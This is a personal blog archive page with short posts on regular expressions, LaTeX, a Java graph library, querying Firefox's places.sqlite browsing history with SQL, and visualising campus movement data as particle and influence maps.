random() » Uncategorized

Regular Expression

max — Wed, 24 Feb 2010 13:55:05 +0000

I have a love hate relationship with regular expressions. This helps a lot though. If your Mac based then this is a nice solution too.

Learning latex

max — Sun, 21 Feb 2010 18:06:16 +0000

Some tutorials on latex

Great Java Graph Drawing Library

max — Fri, 29 Jan 2010 21:58:56 +0000

http://jung.sourceforge.net/doc/api/index.html I wonder if these folks use it?

Firefox places.sqlite

max — Wed, 27 Jan 2010 14:53:45 +0000

Firefox stores your web browsing history in a sqlite db. On windows you can find it in: Documents and Settings\\Application Data\Mozilla\Firefox\Profiles\xyz.default\. On the mac it is in your home folder: Library/Application support/Mozilla/.

There is a great addon for firefox called SQLite Manager which allows you to run SQLite queries. Using this you can look at the places.sqlite file, which contains your web history data. I am particulalry interested in looking at the paths I take and the following query will pull out pairs of target->referer pages.

SELECT plc2.url AS 'referer', plc1.url AS 'target'
FROM moz_historyvisits vis, moz_historyvisits vis2
INNER JOIN moz_places plc1
ON plc1.id = vis.place_id
INNER JOIN moz_places plc2
ON plc2.id = vis2.place_id
WHERE vis.from_visit = vis2.id

There is a wealth of information in this little file, the visit_type column, for example gives you an indicator of how the URL was reached.

Type	ID	description
TRANSITION_LINK	1	This transition type means the user followed a link and got a new toplevel window.
TRANSITION_TYPED	2	This transition type is set when the user typed the URL to get to the page.
TRANSITION_BOOKMARK	3	This transition type is set when the user followed a bookmark to get to the page.
TRANSITION_EMBED	4	This transition type is set when some inner content is loaded. This is true of all images on a page, and the contents of the iframe. It is also true of any content in a frame, regardless if whether or not the user clicked something to get there.
TRANSITION_REDIRECT_PERMANENT	5	This transition type is set when the transition was a permanent redirect.
TRANSITION_REDIRECT_TEMPORARY	6	This transition type is set when the transition was a temporary redirect.
TRANSITION_DOWNLOAD	7	This transition type is set when the transition is a download.

For more information on this you can view the Mozilla dev pages and the full places system within firefox is documented over here.

A wealth of further information on this DB is available over at firefox forensics

YouTube – Interactive art with wooden mirrors

max — Thu, 01 Oct 2009 20:49:45 +0000

A short video with Daniel Rozin describing his wooden mirror piece. Proper good modern art, something of this quality needs to be entered into the turner prize!

Collected particle media

max — Sun, 23 Aug 2009 21:50:54 +0000

Attached are some videos taken from the particle map view of the dartmouth campus suffix tree data.

This animation
shows the entire dataset represented as a particle map. Each location (A) is emitting a particles to each location (B) that people travelled to directly after being at A. The number of particles is proportional to the number of people who made that traversal. The colouring of the particles is relative to the number of people too, thus the hotter colours show more popular trails and the cooler colours show less popular trails.

This is a video showing the result of filtering the suffix tree first to show only a single starting location. With the canvas being less cluttered you can really start to see the relationships between landmarks.

As a final note there are still some problems with this firstly there are random pixels lighting up causing a flashing and introducing false points, I am not quite sure yet what is causing this. Secondly I think it would be nice to not make the number of particles on a trail to be proportional not only to the user count or probability but also to the distance between the ends of the trail. Thus the particle density becomes the representation of the popularity. I suspect this would make for a more intuitive representation as well as better revealing the direction on short and popular trails which get a bit lost.

Fantastic information design

max — Sun, 23 Aug 2009 18:17:07 +0000

It seems all these visualizations are created manually, it would be nice to aim to produce such beautiful visualizations programatically!

Information Is Beautiful | Ideas, issues, concepts, subjects – visualized!.

More cool project images

max — Sun, 23 Aug 2009 13:03:36 +0000

Here is a repeat of the particle map produced earlier today, however this one is an interesting illustration of the use of logarithms. By using the logs of the user counts on the trails we reduce the dominating effect of the top end. In the previous image the vast majority of trails were in blue showing a relatively low traversal count. However by taking the log we kind of pull apart the lower end and compress down the upper end revealing some of the differences in the lower end. It is important to understand that the color ranges don’t now depict the actual differences.

particle view of suffix tree data using logs of the trail counts

More influence map animation

max — Sun, 26 Jul 2009 17:17:44 +0000

Here we have a animation showing the summing of intermediary influence maps, but here the natural logarithm of the count is used, rather than the straight value.

Influence map

max — Sun, 26 Jul 2009 15:52:02 +0000

The following video shows an influence map being built up from intermediary maps being summed together. At each frame the new map (old map + intermediary) has its values normalized against the current maximum and minimum values apparent in the map.

Update see this post for a version using the log of the hot points value.